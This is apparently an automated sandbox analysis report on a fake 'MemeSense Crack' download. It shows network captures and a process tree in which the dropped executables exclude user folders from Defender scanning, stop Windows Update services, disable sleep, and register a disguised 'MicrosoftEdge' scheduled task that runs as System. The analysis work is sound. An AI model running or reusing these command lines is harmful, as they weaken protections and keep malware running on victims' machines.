2024-06-15 09:15:06 UTC	62	IN	Data Raw: 7b 22 75 73 65 72 5f 69 64 22 3a 22 64 4e 74 73 36 33 30 36 4a 53 49 46 31 76 31 78 6e 6e 70 6a 73 54 22 2c 22 73 6b 69 70 5f 73 75 62 73 63 72 69 70 74 69 6f 6e 22 3a 66 61 6c 73 65 7d Data Ascii: {"user_id":"dNts6306JSIF1v1xnnpjsT","skip_subscription":false}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.16	49869	162.19.138.116	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:06 UTC	783	OUT	GET /i/102/8.gif?o=api&id5id=ID5tauykegEbfVx5hs7Xh4PahsKXi8PWxs7Xh4PahsKXi-n61IY1vzJzxNEO_L59YQs&gdpr_consent=undefined&gdpr=false HTTP/1.1 Host: id5-sync.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#2; id5_unrecognized=1
2024-06-15 09:15:07 UTC	1835	IN	HTTP/1.1 302 vary: Origin vary: Access-Control-Request-Method vary: Access-Control-Request-Headers p3p: CP="CAO PSA OUR" set-cookie: id5_unrecognized=; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Domain=id5-sync.com; Path=/; SameSite=None; Secure set-cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#3; Max-Age=7776000; Expires=Fri, 13-Sep-2024 09:15:06 GMT; Domain=id5-sync.com; Path=/; SameSite=None; Secure set-cookie: 3pi=; Max-Age=7776000; Expires=Fri, 13-Sep-2024 09:15:06 GMT; Domain=id5-sync.com; Path=/; SameSite=None; Secure set-cookie: cf=; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Domain=id5-sync.com; Path=/; SameSite=None; Secure set-cookie: cip=; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Domain=id5-sync.com; Path=/; SameSite=None; Secure set-cookie: cnac=; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Domain=id5-sync.com; Path=/; SameSite=None; Secure set-cookie: car=; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Domain=id5-sync.com; Path=/; SameSite=None; Secure set-cookie: gdpr=; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Domain=id5-sync.com; Path=/; SameSite=None; Secure set-cookie: gpp=; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Domain=id5-sync.com; Path=/; SameSite=None; Secure set-cookie: callback=; Max-Age=0; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Domain=id5-sync.com; Path=/; SameSite=None; Secure location: https://rtb-csync.smartadserver.com/redir/?partnerid=111&partneruserid=ID5-9436e49rFW4Sv3laxZZf1y8h5M2GqW4XpxTTXlEEAw&redirurl=https%3A%2F%2Fid5-sync.com%2Fc%2F102%2F102%2F7%2F2.gif%3Fpuid%3DSMART_USER_ID%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= transfer-encoding: chunked date: Sat, 15 Jun 2024 09:15:06 GMT strict-transport-security: max-age=63072000; includeSubDomains; preload connection: close
2024-06-15 09:15:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.16	49868	162.19.138.116	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:06 UTC	427	OUT	GET /gm/v3 HTTP/1.1 Host: id5-sync.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#2; id5_unrecognized=1
2024-06-15 09:15:07 UTC	240	IN	HTTP/1.1 400 Bad Request date: Sat, 15 Jun 2024 09:15:06 GMT vary: Accept-Encoding content-type: application/json transfer-encoding: chunked strict-transport-security: max-age=63072000; includeSubDomains; preload connection: close
2024-06-15 09:15:07 UTC	408	IN	Data Raw: 31 39 31 0d 0a 7b 22 65 72 72 6f 72 22 3a 7b 22 63 6f 64 65 22 3a 22 72 65 71 75 65 73 74 5f 66 6f 72 6d 61 74 5f 69 6e 76 61 6c 69 64 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 52 65 71 75 69 72 65 64 20 72 65 71 75 65 73 74 20 62 6f 64 79 20 69 73 20 6d 69 73 73 69 6e 67 3a 20 70 75 62 6c 69 63 20 6f 72 67 2e 73 70 72 69 6e 67 66 72 61 6d 65 77 6f 72 6b 2e 68 74 74 70 2e 52 65 73 70 6f 6e 73 65 45 6e 74 69 74 79 3c 69 6f 2e 69 64 35 2e 66 65 74 63 68 2e 72 65 71 75 65 73 74 2e 46 65 74 63 68 52 65 73 70 6f 6e 73 65 44 74 6f 3e 20 69 6f 2e 69 64 35 2e 66 65 74 63 68 2e 46 65 74 63 68 43 6f 6e 74 72 6f 6c 6c 65 72 2e 6d 75 6c 74 69 70 6c 65 78 46 65 74 63 68 56 33 28 69 6f 2e 69 64 35 2e 66 65 74 63 68 2e 72 65 71 75 65 73 74 2e 77 65 62 2e 6d 75 6c 74 69 70 Data Ascii: 191{"error":{"code":"request_format_invalid","message":"Required request body is missing: public org.springframework.http.ResponseEntity<io.id5.fetch.request.FetchResponseDto> io.id5.fetch.FetchController.multiplexFetchV3(io.id5.fetch.request.web.multip
2024-06-15 09:15:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.16	49870	99.81.158.184	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:07 UTC	629	OUT	GET /sync?dsp=pubmatic&dsp_uid=B2362722-96A7-45E5-816D-DA88A7191676 HTTP/1.1 Host: s.cpx.to Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:15:07 UTC	338	IN	HTTP/1.1 204 No Content Date: Sat, 15 Jun 2024 09:15:07 GMT Content-Length: 0 Connection: close Expires: Sat, 15 Jun 2024 09:15:07 GMT P3P: CP="NOI DEV ADM" Set-Cookie: dsp_pubmatic=B2362722-96A7-45E5-816D-DA88A7191676#1718442907183; Expires=Sun, 15 Jun 2025 09:15:07 GMT; Domain=.cpx.to; Path=/; Secure; HttpOnly; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.16	49871	99.81.158.184	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:07 UTC	842	OUT	GET /fire.js?dsp=app_nexus&dsp_uid=2348066295523201724&pid=12771&ref=https%3A%2F%2Foxy.st%2F&url=https%3A%2F%2Fdownload.oxy.st%2Fd%2FSmUh%2F2%2F5744b8343e4600a69fa0181348e90fc8&hn_ver=76&fid=48758480-4109-4e67-8f00-773986908703&dsp=TTD&dsp_uid=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b HTTP/1.1 Host: s.cpx.to Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:15:07 UTC	483	IN	HTTP/1.1 200 OK Date: Sat, 15 Jun 2024 09:15:07 GMT Content-Length: 54 Connection: close Expires: Sat, 15 Jun 2024 09:15:07 GMT P3P: CP="NOI DEV ADM" Set-Cookie: dsp_app_nexus=2348066295523201724#1718442907284; Expires=Sun, 15 Jun 2025 09:15:07 GMT; Domain=.cpx.to; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: dsp_TTD=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b#1718442907284; Expires=Sun, 15 Jun 2025 09:15:07 GMT; Domain=.cpx.to; Path=/; Secure; HttpOnly; SameSite=None
2024-06-15 09:15:07 UTC	54	IN	Data Raw: 72 75 62 69 63 6f 6e 2c 69 64 35 2c 64 62 6d 2c 4f 50 45 4e 58 2c 70 75 62 6d 61 74 69 63 2c 66 69 72 73 74 49 64 2c 70 75 62 5f 63 6f 6d 6d 6f 6e 2c 75 69 64 32 Data Ascii: rubicon,id5,dbm,OPENX,pubmatic,firstId,pub_common,uid2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.16	49872	99.81.158.184	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:07 UTC	629	OUT	GET /sync?dsp_uid=CAESELyFu_pHvsMZBgZtrOHPYlM&dsp=dbm&google_cver=1 HTTP/1.1 Host: s.cpx.to Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:15:07 UTC	324	IN	HTTP/1.1 204 No Content Date: Sat, 15 Jun 2024 09:15:07 GMT Content-Length: 0 Connection: close Expires: Sat, 15 Jun 2024 09:15:07 GMT P3P: CP="NOI DEV ADM" Set-Cookie: dsp_dbm=CAESELyFu_pHvsMZBgZtrOHPYlM#1718442907339; Expires=Sun, 15 Jun 2025 09:15:07 GMT; Domain=.cpx.to; Path=/; Secure; HttpOnly; SameSite=None

Target ID:	0
Start time:	05:14:47
Start date:	15/06/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://oxy.st/d/SmUh
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	05:14:48
Start date:	15/06/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1956,i,7229369661318160334,7331768644363518668,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	05:14:55
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:15:01
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:15:01
Start date:	15/06/2024
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff7648e0000
File size:	329'504 bytes
MD5 hash:	3BA1A18A0DC30A0545E7765CB97D8E63
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	05:15:01
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	05:15:01
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	05:15:02
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	05:15:02
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	05:15:17
Start date:	15/06/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Imagebase:	0x7ff65b580000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	05:15:28
Start date:	15/06/2024
Path:	C:\Users\user\Desktop\meme crack\MemeSense Crack.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\meme crack\MemeSense Crack.exe"
Imagebase:	0x400000
File size:	9'601'024 bytes
MD5 hash:	8C7DC697B3BE09F1D66A29A31A8C6C46
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:15:31
Start date:	15/06/2024
Path:	C:\Users\user\AppData\Local\Temp\cli_gui.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\cli_gui.exe"
Imagebase:	0x7ff719700000
File size:	22'528 bytes
MD5 hash:	82EE19ED134912BE0FE2000CAF6421C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 4%, ReversingLabs Detection: 9%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:15:31
Start date:	15/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:15:31
Start date:	15/06/2024
Path:	C:\Users\user\AppData\Local\Temp\updater.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\updater.exe"
Imagebase:	0x7ff701a50000
File size:	6'028'664 bytes
MD5 hash:	8CD62E3ECE85C4C3E9F6F7C816256ADF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 79%, ReversingLabs Detection: 68%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:15:32
Start date:	15/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Imagebase:	0x7ff7582a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:15:32
Start date:	15/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	05:15:36
Start date:	15/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
Imagebase:	0x7ff6fd780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:15:36
Start date:	15/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: sc.exePID: 4008, Parent PID: 1176

General

Target ID:	26
Start time:	05:15:36
Start date:	15/06/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop UsoSvc
Imagebase:	0x7ff752010000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: sc.exePID: 3720, Parent PID: 1176

General

Target ID:	27
Start time:	05:15:36
Start date:	15/06/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop WaaSMedicSvc
Imagebase:	0x7ff752010000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: sc.exePID: 4112, Parent PID: 1176

General

Target ID:	28
Start time:	05:15:37
Start date:	15/06/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop wuauserv
Imagebase:	0x7ff752010000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: sc.exePID: 1752, Parent PID: 1176

General

Target ID:	29
Start time:	05:15:37
Start date:	15/06/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop bits
Imagebase:	0x7ff752010000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: sc.exePID: 3224, Parent PID: 1176

General

Target ID:	30
Start time:	05:15:37
Start date:	15/06/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc stop dosvc
Imagebase:	0x7ff752010000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: cmd.exePID: 1916, Parent PID: 4380

General

Target ID:	31
Start time:	05:15:37
Start date:	15/06/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff6fd780000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: conhost.exePID: 1948, Parent PID: 1916

General

Target ID:	32
Start time:	05:15:37
Start date:	15/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: powercfg.exePID: 2348, Parent PID: 1916

General

Target ID:	33
Start time:	05:15:37
Start date:	15/06/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-ac 0
Imagebase:	0x7ff6ab6c0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: dialer.exePID: 2092, Parent PID: 4380

General

Target ID:	34
Start time:	05:15:37
Start date:	15/06/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\dialer.exe
Imagebase:	0x7ff710bd0000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	05:15:37
Start date:	15/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
Imagebase:	0x7ff7582a0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	05:15:37
Start date:	15/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6684c0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: powercfg.exePID: 2280, Parent PID: 1916

General

Target ID:	37
Start time:	05:15:37
Start date:	15/06/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-dc 0
Imagebase:	0x7ff6ab6c0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: winlogon.exePID: 584, Parent PID: 2092

General

Target ID:	38
Start time:	05:15:37
Start date:	15/06/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff618820000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	05:15:37
Start date:	15/06/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-ac 0
Imagebase:	0x7ff6ab6c0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: powercfg.exePID: 3568, Parent PID: 1916

General

Target ID:	40
Start time:	05:15:38
Start date:	15/06/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff6ab6c0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: lsass.exePID: 664, Parent PID: 2092

General

Target ID:	41
Start time:	05:15:38
Start date:	15/06/2024
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff786790000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	05:15:39
Start date:	15/06/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff62c440000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Analysis Process: dwm.exePID: 380, Parent PID: 2092

General

Target ID:	43
Start time:	05:15:40
Start date:	15/06/2024
Path:	C:\Windows\System32\dwm.exe
